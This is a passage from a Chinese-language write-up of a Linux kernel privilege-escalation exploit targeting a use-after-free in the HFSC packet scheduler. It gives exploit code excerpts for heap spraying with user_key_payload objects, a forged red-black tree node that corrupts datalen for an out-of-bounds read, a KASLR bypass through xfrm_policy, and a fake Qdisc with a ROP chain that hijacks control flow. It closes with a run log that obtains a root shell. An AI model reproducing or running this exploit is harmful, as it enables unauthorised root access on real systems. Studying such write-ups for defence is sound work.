class_B:会将&(class_B->el_node)从tree中移除,使得Victim_Qdisc->q.qlen == -1。cdelete_tclass( heap_read_primitive->route_socket, heap_read_primitive->rb_tree_interface_ifindex, TC_H_MAJ(heap_read_primitive->rb_tree_interface_classid_B), heap_read_primitive->rb_tree_interface_classid_B ); -
再次分配
struct user_key_payload:记为fake_hfsc_class_backed_by_user_key_payload_B,全填充0。之前已获取user_key_payload_B地址(记为hfsc_class_leak_address)。cmemset(user_key_payload_write_buffer, 0, sizeof(user_key_payload_write_buffer)); heap_read_primitive->key_B = user_key_payload_alloc( heap_read_primitive->key_B_desc, user_key_payload_write_buffer, sizeof(user_key_payload_write_buffer) );
第2个rb_node - UAF class_A
-
准备数据,用于接下来喷射
user_key_payload。[exploit.c#L1182]cmemset(user_key_payload_write_buffer, 0, sizeof(user_key_payload_write_buffer)); fake_rb_node = (struct rb_node *) ( user_key_payload_write_buffer + \ struct_hfsc_class_member_el_node_offset - \ sizeof(struct user_key_payload) ); fake_rb_node->__rb_parent_color = 0 | RB_BLACK; fake_rb_node->rb_right = (struct rb_node *)(0); fake_rb_node->rb_left = (struct rb_node *) // UAF_rb_node->rb_left == &(fake_hfsc_class_backed_by_user_key_payload_B->datalen); ( hfsc_class_leak_address + \ sizeof(struct user_key_payload) - \ ( struct_user_key_payload_member_data_offset - \ struct_user_key_payload_member_datalen_offset ) ); // hfsc_class->cl_e = 0 // memset 已清零 -
释放
user_key_payload_A,记住,当前的user_key_payload_A用于回收UAF指针。[exploit.c#L1202]cuser_key_payload_free_and_wait_for_gc(&(heap_read_primitive->key_A)); void user_key_payload_free_and_wait_for_gc(key_serial_t *pkey) { if (*pkey != -1) { Keyctl_unlink(*pkey, KEY_SPEC_USER_KEYRING); u32 x = 0; for (u32 i = 0; i < 0xFFFFFFFF; i++) x += i; *pkey = -1; } } -
利用以上准备的数据堆喷16个
struct user_key_payload对象。为什么堆喷16个?因为有时slab中的UAF_hfsc_class空闲堆块不再是active状态。可以调整一下,多喷射一些 [exploit.c#L1204]cfor (u32 i = 0; i < heap_read_primitive->key_spray_count; i++) { heap_read_primitive->key_spray[i] = user_key_payload_alloc( heap_read_primitive->key_spray_descs[i], user_key_payload_write_buffer, sizeof(user_key_payload_write_buffer) ); } -
UAF_rb_node的值如下所示:cUAF_rb_node->__rb_parent_color == NULL | RB_BLACK; UAF_rb_node->rb_right == NULL; UAF_rb_node->rb_left == hfsc_class_leak_address + sizeof(struct user_key_payload) - 8; // 这里表示 &(fake_hfsc_class_backed_by_user_key_payload_B->datalen) 的地址 UAF_hfsc_class->cl_e == 0; -
由于在分配
fake_hfsc_class_backed_by_user_key_payload_B时设置了datalen == 0x200,这个rb_node会被看作是RB_REDnode(因为其最低位为0,表示RB_RED)。
(5)往UAF_rb_node->rb_right添加node - class_C
目标 :添加class_C,使得UAF_hfsc_class->el_node->rb_right = class_C->el_node。
-
创建
class_C:创建struct hfsc_class对象(设置HFSC_RSCflag),记为class_C。在创建过程中,class_C->qdisc指向了一个默认的pfifoqdisc。cstruct tc_service_curve rsc_C = { .m1 = 1, .m2 = 1, .d = 0 }; create_hfsc_class( heap_read_primitive->route_socket, heap_read_primitive->rb_tree_interface_ifindex, heap_read_primitive->rb_tree_interface_qdisc_A_handle, heap_read_primitive->rb_tree_interface_classid_C, &rsc_C, NULL, NULL ); -
配置
Victim_Qdisc:将入队的packet路由到class_C连接的qdisc。[exploit.c#L1222]cchange_hfsc_qdisc_route( heap_read_primitive->route_socket, heap_read_primitive->rb_tree_interface_ifindex, TC_H_ROOT, heap_read_primitive->rb_tree_interface_qdisc_A_handle, heap_read_primitive->rb_tree_interface_classid_C ); -
入队packet :通过
Victim_Qdisc入队新packet,最终导致init_ed(class_C)->eltree_insert(class_C)。[exploit.c#L1229]ctrigger_qdisc_enqueue(heap_read_primitive->raw_packet_socket, heap_read_primitive->rb_tree_interface_ifindex); // 若入队成功,则 `Victim_Qdisc->q.qlen == 0`,可使`->dequeue()`提前返回NULL(参见`hfsc_dequeue()`),并保持`class_C`位于node tree上。 -
现在,
UAF_rb_node如下所示:cUAF_rb_node->__rb_parent_color == NULL | RB_BLACK; UAF_rb_node->rb_right == &(class_C->el_node); UAF_rb_node->rb_left == &(fake_hfsc_class_backed_by_user_key_payload_B->datalen);
(6)寻找与UAF_rb_node重叠的user_key_payload
也即寻找第4步堆喷的user_key_payload。[exploit.c#L1231]
读取user_key_payload数据,寻找UAF_rb_node->rb_right堆地址。
c
bool found_reclaim_key = false;
for (u32 i = 0; i < heap_read_primitive->key_spray_count && !found_reclaim_key; i++) {
user_key_payload_read(
heap_read_primitive->key_spray[i],
user_key_payload_read_buffer,
sizeof(user_key_payload_read_buffer)
);
fake_rb_node = (struct rb_node *)
(
user_key_payload_read_buffer + \
struct_hfsc_class_member_el_node_offset - \
sizeof(struct user_key_payload)
);
if (fake_rb_node->rb_right) {
reclaim_key = heap_read_primitive->key_spray[i];
found_reclaim_key = true;
}
}
(7)释放不重要的user_key_payload
c
for (u32 i = 0; i < heap_read_primitive->key_spray_count; i++)
if (heap_read_primitive->key_spray[i] != reclaim_key)
user_key_payload_free(&(heap_read_primitive->key_spray[i]));
(8)触发&(hfsc_class_backed_by_user_key_payload_B->datalen) 覆写
目标 :覆写 user_key_payload_B->datalen 构造越界读,触发__rb_insert()函数修改 rb->__rb_parent_color(实际修改了user_key_payload_B->datalen)。
触发步骤
-
创建class_D :创建
struct hfsc_class对象(设置HFSC_FSCflag),记为class_D;[exploit.c#L1260]cstruct tc_service_curve fsc_D = { .m1 = 1, .m2 = 1, .d = 0 }; create_hfsc_class( heap_read_primitive->route_socket, heap_read_primitive->rb_tree_interface_ifindex, heap_read_primitive->rb_tree_interface_qdisc_A_handle, heap_read_primitive->rb_tree_interface_classid_D, NULL, &fsc_D, NULL ); -
创建
Qdisc_C:创建type为pfifo_head_drop的Qdisc,设置sch->limit == 0,并连接到class_D,之后将用到这里的逻辑漏洞(这样packet入队时Victim_Qdisc->q.qlen值保持不变)。[exploit.c#L1271]cstruct tc_fifo_qopt pfifo_head_drop_qopt_C = { .limit = 0 }; create_pfifo_head_drop_qdisc( heap_read_primitive->route_socket, heap_read_primitive->rb_tree_interface_ifindex, heap_read_primitive->rb_tree_interface_classid_D, heap_read_primitive->rb_tree_interface_qdisc_C_handle, &pfifo_head_drop_qopt_C ); -
配置
Victim_Qdisc:将入队的packet路由到class_D连接的qdisc;[exploit.c#L1279]cchange_hfsc_qdisc_route( heap_read_primitive->route_socket, heap_read_primitive->rb_tree_interface_ifindex, TC_H_ROOT, heap_read_primitive->rb_tree_interface_qdisc_A_handle, heap_read_primitive->rb_tree_interface_classid_D ); -
packet入队-触发漏洞 :往
Victim_Qdisc入队packet触发逻辑漏洞;[exploit.c#L1286] **目的就是构造class_D->qdisc->q.len = 1,使得之后能触发hfsc_change_class()->init_ed()覆写datalen **。- 第(5)步之后,
Victim_Qdisc->q.qlen == 0,执行本步骤后Qdisc_C->q.qlen == 1 - 测试该设置发现,总是能按预期走
->rb_right。如果调用trigger_qdisc_enqueue(),有一定概率走->rb_left,成功概率为90%~100%。??? (原因很有可能是没有伪造好cl_e,后面劫持控制流6-3步中伪造fake_cl_e时偏移弄错了,还要减去sizeof(struct user_key_payload),exp中已更正!!!)
ctrigger_qdisc_enqueue_with_bigger_packet(heap_read_primitive->raw_packet_socket, heap_read_primitive->rb_tree_interface_ifindex); // 发送的packet size要比trigger_qdisc_enqueue()更大,packet size 是`->cl_e`计算过程的一部分 - 第(5)步之后,
-
触发datalen覆写 :将
class_D对象从HFSC_FSCflag 修改为HFSC_RSCflag,触发内核代码路径:hfsc_change_class()->init_ed(),触发覆写原语。-
问题 :有两条路径能触发
init_ed()。为什么选取后者?hfsc_enqueue()->init_ed()------ 条件:hfsc_class->qdisc->q.qlen == 0。上一步packet入队会触发错误,提前返回,所以不会执行init_ed(),导致hfsc_class->qdisc->q.qlen == 0。hfsc_change_class()->init_ed()------ 条件:hfsc_class->qdisc->q.qlen != 0;且原先hfsc_class为RSC,需修改为FSC才会触发init_ed()。
-
答案 :如果选取第1种触发方式
hfsc_enqueue(class_D)->init_ed(class_D),由于第(5)步通过Victim_Qdisc入队了新packet,导致Victim_Qdisc->q.qlen == 0。因此再次hfsc_enqueue()成功会导致Victim_Qdisc->q.qlen == 1,之后出队时hfsc_dequeue()就会破坏rb_tree的构造。
c// Exp: struct tc_service_curve rsc_D = { .m1 = 1, .m2 = 1, .d = 0 }; change_hfsc_class( heap_read_primitive->route_socket, heap_read_primitive->rb_tree_interface_ifindex, heap_read_primitive->rb_tree_interface_qdisc_A_handle, heap_read_primitive->rb_tree_interface_classid_D, &rsc_D, NULL, NULL ); // 触发覆写之前,UAF_rb_node 状态如下: UAF_hfsc_class->el_node->__rb_parent_color == 0x1; UAF_hfsc_class->el_node->rb_right == &(class_C->el_node); // 新加入的 class_C UAF_hfsc_class->el_node->rb_left == &class_B + 0x10; // fake_hfsc_class_backed_by_user_key_payload_B->datalen Qdisc_A->privdata->eligible.rb_node == &(UAF_hfsc_class->el_node); // dangling pointer // 触发覆写之后 // 源码分析 // cl = class_D / cl->qdisc = Qdisc_C // 条件1:`Qdisc_C->q.qlen == 1` => `cl->qdisc->q.qlen != 0` // 条件2:由于创建 class_D 时设置了 `HFSC_FSC` flag, `(old_flags & HFSC_RSC) == false` 所以会调用 init_ed() static int hfsc_change_class(struct Qdisc *sch, u32 classid, u32 parentid, struct nlattr **tca, unsigned long *arg, struct netlink_ext_ack *extack) { struct hfsc_sched *q = qdisc_priv(sch); struct hfsc_class *cl = (struct hfsc_class *)*arg; // cl - class_D / cl->qdisc - Qdisc_C struct hfsc_class *parent = NULL; struct nlattr *opt = tca[TCA_OPTIONS]; struct nlattr *tb[TCA_HFSC_MAX + 1]; struct tc_service_curve *rsc = NULL, *fsc = NULL, *usc = NULL; u64 cur_time; int err; if (opt == NULL) return -EINVAL; err = nla_parse_nested_deprecated(tb, TCA_HFSC_MAX, opt, hfsc_policy, NULL); if (err < 0) return err; if (tb[TCA_HFSC_RSC]) { rsc = nla_data(tb[TCA_HFSC_RSC]); if (rsc->m1 == 0 && rsc->m2 == 0) rsc = NULL; } /* Writeup note: Deleted code for clarity */ if (cl != NULL) { int old_flags; /* Writeup note: Deleted code for clarity */ sch_tree_lock(sch); old_flags = cl->cl_flags; if (rsc != NULL) hfsc_change_rsc(cl, rsc, cur_time); /* Writeup note: Deleted code for clarity */ if (cl->qdisc->q.qlen != 0) { // [1] 条件1 - `Qdisc_C->q.qlen == 1` 需满足条件 hfsc_class->qdisc->q.qlen != 0 int len = qdisc_peek_len(cl->qdisc); if (cl->cl_flags & HFSC_RSC) { if (old_flags & HFSC_RSC) // [2] 条件2 - 原先设置的是 `HFSC_FSC` 条件:原先`hfsc_class`为RSC,需修改为FSC才会触发 update_ed(cl, len); else init_ed(cl, len); // [3] <--- init_ed() } /* Writeup note: Deleted code for clarity */ } sch_tree_unlock(sch); return 0; } /* Writeup note: Deleted code for clarity */ } -
代码分析
调用链:
hfsc_change_class()->init_ed()->eltree_insert()->rb_link_node()->rb_insert_color()->__rb_insert()
调试分析:参见 3-4 红黑树节点插入的原理,待插入 class_D 是右儿子(不重要),父节点是祖父的右儿子,父红叔叔红,走第[5]条路。
c
// UAF_rb_node - class_A->el_node rb_tree的root_node根节点,所有class的 `class_D->sched->eligible.rb_node` 都指向它
gef> p cl->sched->eligible.rb_node // {1} class_D->sched->eligible.rb_node
$35 = (struct rb_node *) 0xffff888104bd78a0
gef> p *cl->sched->eligible.rb_node
$36 = {
__rb_parent_color = 0x1,
rb_right = 0xffff888104bd80a0, // {2} rb_right -> class_C 加入class_C后,已将 rb_right 指向 class_C
rb_left = 0xffff888104bd7c10 // {3} 原先的class_B+0x10
}
// {2} rb_right -> class_C
gef> p *(struct rb_node*)0xffff888104bd80a0 // red
$46 = {
__rb_parent_color = 0xffff888104bd78a0, // parent - UAF_rb_node
rb_right = 0xffff888104bd84a0, // {4} class_D
rb_left = 0x0 <fixed_percpu_data>
}
// {3} rb_left -> class_B+0x10 hfsc_class_backed_by_user_key_payload_B->datalen
gef> p *(struct rb_node*)0xffff888104bd7c10
$48 = {
__rb_parent_color = 0x200,
rb_right = 0x0 <fixed_percpu_data>,
rb_left = 0x0 <fixed_percpu_data>
}
// {4} class_D
gef> p node
$41 = (struct rb_node *) 0xffff888104bd84a0 // node - cl->el_node - class_D->el_node
gef> p *node
$43 = {
__rb_parent_color = 0xffff888104bd80a0, // parent 是 root->rb_node->rb_right - class_C->el_elnode
rb_right = 0x0 <fixed_percpu_data>,
rb_left = 0x0 <fixed_percpu_data>
}
/* rb_tree 结构如下所示
{1} UAF_rb_node
/ \
{2} user_key_payload_B+0x10 {3} class_C
\
{4} class_D
由于父节点是祖父的右儿子,父红叔叔红,走第[5]条路 → 父叔染黑,祖父染红,继续向上处理。
原本是将 叔叔->__rb_parent_color = 祖父 | RB_BLACK
结果却是 *(user_key_payload_B+0x10) = p | 1, 错误将 user_key_payload_B->datalen 篡改为一个非常大的指针,导致越界读
*/
源码如下:
c
static void
init_ed(struct hfsc_class *cl, unsigned int next_len) // cl - class_D / cl->qdisc - Qdisc_C
{
...
cl->cl_e = rtsc_y2x(&cl->cl_eligible, cl->cl_cumul);
cl->cl_d = rtsc_y2x(&cl->cl_deadline, cl->cl_cumul + next_len);
eltree_insert(cl); // <--- eltree_insert()
}
// eltree_insert()
static void
eltree_insert(struct hfsc_class *cl)
{
struct rb_node **p = &cl->sched->eligible.rb_node;
struct rb_node *parent = NULL;
struct hfsc_class *cl1;
while (*p != NULL) {
parent = *p;
cl1 = rb_entry(parent, struct hfsc_class, el_node);
if (cl->cl_e >= cl1->cl_e)
p = &parent->rb_right; // !!!!! 目标是走这条路
else
p = &parent->rb_left;
}
rb_link_node(&cl->el_node, parent, p);
rb_insert_color(&cl->el_node, &cl->sched->eligible); // <--- rb_insert_color()
}
// rb_insert_color()
void rb_insert_color(struct rb_node *node, struct rb_root *root)
{
__rb_insert(node, root, dummy_rotate); // <--- __rb_insert()
}
// __rb_insert()
static __always_inline void
__rb_insert(struct rb_node *node, struct rb_root *root,
void (*augment_rotate)(struct rb_node *old, struct rb_node *new))
{
struct rb_node *parent = rb_red_parent(node), *gparent, *tmp;
while (true) {
if (unlikely(!parent)) { // [1] 插入节点是根 → 染黑
rb_set_parent_color(node, NULL, RB_BLACK);
break;
}
if(rb_is_black(parent)) // [2] 父节点是黑 → 直接完成
break;
gparent = rb_red_parent(parent);
tmp = gparent->rb_right;
if (parent != tmp) { // left - 父节点 / right - 叔叔节点tmp
...
} else { // right - 父节点 / left - 叔叔节点tmp
tmp = gparent->rb_left;
if (tmp && rb_is_red(tmp)) { // [5] 父红 叔叔红 → 父叔染黑,祖父染红,继续向上处理
rb_set_parent_color(tmp, gparent, RB_BLACK); // !!!!!!! 覆写点 <--- 覆写用到了这里
rb_set_parent_color(parent, gparent, RB_BLACK);
node = gparent;
parent = rb_parent(node);
rb_set_parent_color(node, parent, RB_RED);
continue;
}
tmp = parent->rb_left;
if (node == tmp) {
/* Writeup note: Ignore code here */
}
/* Writeup note: Ignore code here */
break;
}
}
}
static inline void rb_set_parent_color(struct rb_node *rb,
struct rb_node *p, int color)
{
rb->__rb_parent_color = (unsigned long)p | color; // rb->__rb_parent_color 就是 `&(hfsc_class_backed_by_user_key_payload_B->datalen)`,我们可以将`datalen` 覆写为一个内核地址
}
4-4. 触发heap read
heap_read_primitive_trigger() - [exploit.c#L1302]
读取user_key_payload就能泄露堆,此时datalen已被覆写。
4-5. 重置heap read
heap_read_primitive_reset() - [exploit.c#L1308]
如果堆泄露没有成功,可以删除网口并释放剩下的user_key_payload 。
5. 绕过KASLR
find_kernel_base() - [exploit.c#L1657]
- (1)构造heap read原语;
- (2)堆喷
xfrm_policy对象(位于kmalloc-1024); - (3)利用heap read原语找到
xfrm_policy_timer函数指针(xfrm_policy->timer->function),绕过KASLR; - (4)如果泄露不成功,则重复整个过程。
6. 劫持控制流
6-0. 劫持原理&代码分析
控制流劫持调用链:
__sock_sendmsg()->sock_sendmsg_nosec()->sock->ops->sendmsg-packet_sendmsg()->packet_snd()->packet_xmit()->dev_queue_xmit()->__dev_queue_xmit()->__dev_xmit_skb()(这里入队enqueue和出队dequeue调用链都相同)- 入队 ->
dev_qdisc_enqueue()->hfsc_enqueue() - 出队 ->
__qdisc_run()->qdisc_restart()->dequeue_skb()->hfsc_dequeue()->qdisc_dequeue_peeked()->sch->dequeue()packet入队之后就会调用出队。
- 入队 ->
原理 :hfsc_dequeue()中的cl - hfsc_class - class_A 就是UAF漏洞对象,所以cl->qdisc可控,伪造cl->qdisc->dequeue()。
条件:
Qdisc_A / Victim_qdisc->q.qlen != 0Qdisc->gso_skb.next = &Qdisc->gso_skb
c
static struct sk_buff *
hfsc_dequeue(struct Qdisc *sch)
{
struct hfsc_sched *q = qdisc_priv(sch);
struct hfsc_class *cl;
struct sk_buff *skb;
u64 cur_time;
unsigned int next_len;
int realtime = 0;
if (sch->q.qlen == 0) // qlen 为0,则直接返回NULL
return NULL;
cur_time = psched_get_time();
cl = eltree_get_mindl(q, cur_time); // 在所有 eligible class 中选取 deadline 最小的 class
...
skb = qdisc_dequeue_peeked(cl->qdisc); // <--- qdisc_dequeue_peeked()
if (skb == NULL) {
qdisc_warn_nonwc("HFSC", cl->qdisc);
return NULL;
}
...
qdisc_bstats_update(sch, skb);
qdisc_qstats_backlog_dec(sch, skb);
sch->q.qlen--;
return skb;
}
static inline struct sk_buff *qdisc_dequeue_peeked(struct Qdisc *sch)
{
struct sk_buff *skb = skb_peek(&sch->gso_skb);
if (skb) {
skb = __skb_dequeue(&sch->gso_skb);
if (qdisc_is_percpu_stats(sch)) {
qdisc_qstats_cpu_backlog_dec(sch, skb);
qdisc_qstats_cpu_qlen_dec(sch);
} else {
qdisc_qstats_backlog_dec(sch, skb);
sch->q.qlen--;
}
} else {
skb = sch->dequeue(sch); // <--- 控制流劫持点
} // 正常情况下,如果没有被劫持,则调用Qdisc_B->dequeue() - hfsc_dequeue() - 由于 sch->q.qlen == 0, 所以直接返回NULL
return skb;
}
static inline struct sk_buff *skb_peek(const struct sk_buff_head *list_)
{
struct sk_buff *skb = list_->next;
if (skb == (struct sk_buff *)list_) // 需构造 Qdisc->gso_skb.next = &Qdisc->gso_skb, 才能使 skb=NULL
skb = NULL;
return skb;
}
EXP中实现函数有4个:
- code_execution_primitive_init()
- code_execution_primitive_setup_network_interface()
- code_execution_primitive_build_primitive()
- code_execution_primitive_trigger()
6-1. 初始化
code_execution_primitive_init() - [exploit.c#L1318]
- (1)创建
NETLINK_ROUTEsocket - (2)创建 raw packet socket
- (3)准备 3 个 qdisc handle 和 2 个 classid
- (4)准备用于分配
struct user_key_payload对象的参数
6-2. 设置网口
code_execution_primitive_setup_network_interface() - [exploit.c#L1370]
- (1)创建一个dummy 假的网络接口,设置
mtu == IPV6_MIN_MTU - 1,以避免内核调用ipv6_add_dev()。原因:ipv6_add_dev()->timer_setup(&ndev->rs_timer, addrconf_rs_timer, 0)addrconf_rs_timer()->ndisc_send_rs()->ndisc_send_skb()ndisc_send_skb()会导致packet被发送到网络接口并触发sch->enqueue(),这会使调度器构造过程混乱。
- (2)设置dummy假网口的状态为开启。
6-3. 控制流劫持
code_execution_primitive_build_primitive() - [exploit.c#L1382]
目标 :堆喷user_key_payload占据class_B(需泄露其堆地址)并伪造Qdisc结构和ROP链,然后堆喷user_key_payload占据class_A(UAF_hfsc_class),伪造UAF_hfsc_class->qdisc = &class_B。最终通过packet入队来触发cl->qdisc->dequeue劫持控制流。
(1)步骤1:触发UAF [exploit.c#L1393]
- 参见
heap_read_primitive_build_primitive()的第1步。
(2)步骤2:堆喷user_key_payload占用UAF_hfsc_class [exploit.c#L1409]
- 参见
heap_read_primitive_build_primitive()的第2步。
(3)步骤3:泄露struct hfsc_class对象的堆地址 [exploit.c#L1428]
- 参见
heap_read_primitive_build_primitive()的第3步。这里会创建class_B且有packet入队操作,使得Victim_Qdisc->q.qlen == 0。
(4)步骤4:准备user_key_payload数据以构造fake Qdisc / ROPChain
- 这一步是LTS和COS EXP唯一不同的一步。
- LTS版本:劫持控制流时RDI可控,指向ROPchain [exploit.c#L1467]
- COS版本:劫持控制流时RBX可控,指向ROPchain [exploit.c#L1476]
(5)步骤5:删除class_B [exploit.c#L1508]
-
第3步已获得
class_B地址。这里删除class_B之后,导致Victim_Qdisc->q.qlen == -1。参见调试记录debug.c。cdelete_tclass( code_execution_primitive->route_socket, code_execution_primitive->network_interface_ifindex, TC_H_MAJ(code_execution_primitive->classid_B), code_execution_primitive->classid_B );
(6)步骤6:堆喷user_key_payload占据class_B,构造fake Qdisc / ROPChain [exploit.c#L1515]
c
code_execution_primitive->key_B = user_key_payload_alloc(
code_execution_primitive->key_B_desc,
user_key_payload_write_buffer,
sizeof(user_key_payload_write_buffer)
);
(7)步骤7:释放user_key_payload_A,堆喷user_key_payload,使得UAF_hfsc_class->qdisc指向第4步准备的fake Qdisc [exploit.c#L1521]
c
memset(user_key_payload_write_buffer, 0, sizeof(user_key_payload_write_buffer));
fake_qdisc = (u64 *)
(
user_key_payload_write_buffer + \
struct_hfsc_class_member_qdisc_offset - \
sizeof(struct user_key_payload)
);
*fake_qdisc = hfsc_class_leak_address + sizeof(struct user_key_payload);
fake_cl_e = (u64 *)
(
user_key_payload_write_buffer + \
struct_hfsc_class_member_cl_e_offset - \
sizeof(struct user_key_payload)
);
*fake_cl_e = 0;
user_key_payload_free_and_wait_for_gc(&(code_execution_primitive->key_A));
for (u32 i = 0; i < code_execution_primitive->key_spray_count; i++)
user_key_payload_alloc(
code_execution_primitive->key_spray_descs[i],
user_key_payload_write_buffer,
sizeof(user_key_payload_write_buffer)
);
(8)步骤8:需要->enqueue()成功执行,以触发->dequeue(),通过以下步骤来确保->enqueue()最后返回NET_XMIT_SUCCESS。
目的 :创建正常的Qdisc_C,以便后续通过packet入队来触发cl->qdisc->dequeue劫持控制流。
-
创建
pfifo_head_dropqdisc,设置sch->limit == 0xFFFFFFFF,并连接到Victim_Qdisc的root class,这里也可以选取其他qdisc类型。cstruct tc_fifo_qopt pfifo_head_drop_qopt = { .limit = 0xFFFFFFFF }; create_pfifo_head_drop_qdisc( code_execution_primitive->route_socket, code_execution_primitive->network_interface_ifindex, code_execution_primitive->qdisc_A_handle, code_execution_primitive->qdisc_C_handle, &pfifo_head_drop_qopt ); -
配置
Victim_Qdisc:将入队的packet路由到root class连接的qdisc。cchange_hfsc_qdisc_route( code_execution_primitive->route_socket, code_execution_primitive->network_interface_ifindex, TC_H_ROOT, code_execution_primitive->qdisc_A_handle, code_execution_primitive->qdisc_A_handle );
6-4. 触发控制流劫持
code_execution_primitive_trigger() - [exploit.c#L1561]
c
void code_execution_primitive_trigger(struct code_execution_primitive *code_execution_primitive)
{
trigger_qdisc_enqueue(
code_execution_primitive->raw_packet_socket,
code_execution_primitive->network_interface_ifindex
);
trigger_qdisc_enqueue(
code_execution_primitive->raw_packet_socket,
code_execution_primitive->network_interface_ifindex
);
}
注意,需触发hfsc_enqueue() -> cl->qdisc->enqueue(pfifo_tail_enqueue())2次:
- 第1次packet入队,使得
Victim_Qdisc->q.qlen == 0,这样hfsc_dequeue()会提前返回。 - 第2次packet入队,使得
Victim_Qdisc->q.qlen == 1,这样hfsc_dequeue()会触发cl->qdisc->dequeue()控制流劫持。
7. 整体利用
(1)保存用户态寄存器 - [exploit.c#L1769]
c
save_state();
void save_state(void)
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
(2)当前任务绑定到CPU core 0,使exp上下文位于同一核,以利用percpu slab cache和freelist - [exploit.c#L1770]
c
pin_on_cpu(0);
(3)创建并进入user/network命名空间 - [exploit.c#L1771]
c
setup_namespace();
(4)绕过KASLR - [exploit.c#L1772]
c
u64 kernel_base = find_kernel_base();
(5)更新内核地址 - [exploit.c#L1773]
c
update_kernel_address(kernel_base);
void update_kernel_address(u64 kernel_base)
{
init_task += kernel_base;
init_fs += kernel_base;
push_rdi_pop_rsp_ret += kernel_base;
mov_qword_ptr_rax_rsi_ret += kernel_base;
mov_rdi_rax_rep_ret += kernel_base;
pop_rdi_ret += kernel_base;
pop_rcx_ret += kernel_base;
pop_rsi_ret += kernel_base;
add_rax_rcx_ret += kernel_base;
add_rsp_0x8_ret += kernel_base;
prepare_kernel_cred += kernel_base;
commit_creds += kernel_base;
find_task_by_vpid += kernel_base;
swapgs_restore_regs_and_return_to_usermode_nopop += kernel_base;
}
(6)劫持控制流 - [exploit.c#L1790]
c
code_execution_primitive_setup_network_interface(&code_execution_primitive);
code_execution_primitive_build_primitive(&code_execution_primitive);
code_execution_primitive_trigger(&code_execution_primitive);
(7)内核返回到win() - [exploit.c#L1586]
c
void win(void)
{
sleep(2);
static char *sh_args[] = {"sh", NULL};
execve("/bin/sh", sh_args, NULL);
}
可能由于路径上有softirq,所以立即调用execve会导致获取shell失败(不确定)。需调用sleep(2)。
8. 测试
成功提权:
bash
john@john-virtual-machine:~/Desktop/tmp$ ssh -p 10021 hi@localhost
hi@localhost's password:
Linux syzkaller 6.6.75 #3 SMP PREEMPT_DYNAMIC Thu Dec 18 02:07:49 EST 2025 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jan 26 08:36:27 2026 from 10.0.2.10
$ uname -a
Linux syzkaller 6.6.75 #3 SMP PREEMPT_DYNAMIC Thu Dec 18 02:07:49 EST 2025 x86_64 GNU/Linux
$ ls
exploit keyutils-1.5.9 keyutils-1.5.9.tar.gz
$ ./exploit
[1-1] prepare heap read data
(1) create `NETLINK_ROUTE` socket
test --- heap_read_primitive->route_socket :0x10489c10
(2) create raw packet socket
test --- heap_read_primitive->raw_packet_socket :0x4
(3) prepare 3 qdisc handle & 4 classid
(4) prepare parameters for spray `user_key_payload`
[1-2] prepare parameters for spraying `xfrm_policy` in kmalloc-1024
[1-3] heap read & find KASLR
[1-3-1] spray 16 `xfrm_policy`
[1-3-2] prepare heap read - OOB of `user_key_payload`
(1) create dummy network interface
test ---- route_socket: 0x10489c10
(2) set interface up
test --- 11111
--------- heap read build ---------
(1) preapare UAF
-------- prepare UAF --------
<1> create `Qdisc_A`
<2> create `Qdisc_C`
<3> trigger bug
<4> delete `Qdisc_C`
<5> create `class_A`
<6> create `Qdisc_B`
<7> create `Qdisc_C`
<8> change `Qdisc_A` route
<9> trigger bug: Qdisc_A -> Qdisc_B -> Qdisc_C
<10> delete `Qdisc_C`
<11> create normal `Qdisc_C`
<12> trigger Flow2
<13> trigger Flow1
(2) spray `user_key_payload` to take up `UAF hfsc_class`
(3) leak addr of `hfsc_class`
[+] hfsc_class B address: 0xffff8881055cf800
(4) construct fake rb_tree - 2 node (1-`class_B` / 2-`UAF_hfsc_class`)
(5) add node - `UAF_rb_node->rb_right`
(6) find overlapped `user_key_payload` - read `UAF_rb_node->rb_right`
(7) free unimportant `user_key_payload`
(8) trigger overwrite - `user_key_payload_B->datalen` -> overflow
test --- 22222
[1-3-3] spray 16 `xfrm_policy`
[1-3-4] trigger heap read
--- Read length of user_key_payload: 49313 = 0xc0a1
[+] leak kernel_base: 0xffffffff81000000
[2-1] CFH initialize
test --- code_execution_primitive->route_socket :0x10498610
test --- code_execution_primitive->raw_packet_socket :0x8
[2-2] CFH - setup network interface
test ---- route_socket: 0x10498610
[2-3] CFH - construct CFH
(1) trigger UAF
-------- prepare UAF --------
<1> create `Qdisc_A`
<2> create `Qdisc_C`
<3> trigger bug
<4> delete `Qdisc_C`
<5> create `class_A`
<6> create `Qdisc_B`
<7> create `Qdisc_C`
<8> change `Qdisc_A` route
<9> trigger bug: Qdisc_A -> Qdisc_B -> Qdisc_C
<10> delete `Qdisc_C`
<11> create normal `Qdisc_C`
<12> trigger Flow2
<13> trigger Flow1
(2) spray `user_key_payload` to take up `UAF_hfsc_class`
(3) leak addr of `hfsc_class`
[+] hfsc_class B address: 0xffff8881055d9000
(4) construct fake Qdisc & ROPchain
(5) delete `class_B` - `UAF hfsc_class`
(6) spray `user_key_payload` to take up `class_B`
(7) spray `user_key_payload` to take up `user_key_payload_A`
(8) setup to make `->enqueue()` return `NET_XMIT_SUCCESS`
[2-4] CFH - trigger
# id
uid=0(root) gid=0(root) groups=0(root)
#
9. 常用命令
bash
$ sudo apt-get install libcap2-bin bzip2 make pkg-config # 安装 setcap/bzip2/make/pkg-config
$ tar -jxvf xx.tar.bz2
$ ./configure --prefix=/usr && make # libmnl / libnftl
$ sudo make install
liburing 安装(本次exp不需要安装liburing)
bash
# 安装 liburing 生成 liburing.a / liburing.so.2.2
$ make
$ sudo make install
常用命令:
bash
# ssh连接与测试
$ ssh -p 10021 hi@localhost # password: lol
$ ./exploit
# 编译exp
$ make CFLAGS="-I /home/hi/lib/libnftnl-1.2.2/include"
$ gcc -static ./get_root.c -o ./get_root
$ gcc -no-pie -static -pthread ./exploit.c -o ./exploit
# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./ # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root hi@localhost:/home/hi
问题 :原来的 ext4文件系统空间太小,很多包无法安装,现在换syzkaller中的 stretch.img 试试。
bash
# 服务端添加用户
$ useradd hi && echo lol | passwd --stdin hi
# ssh连接
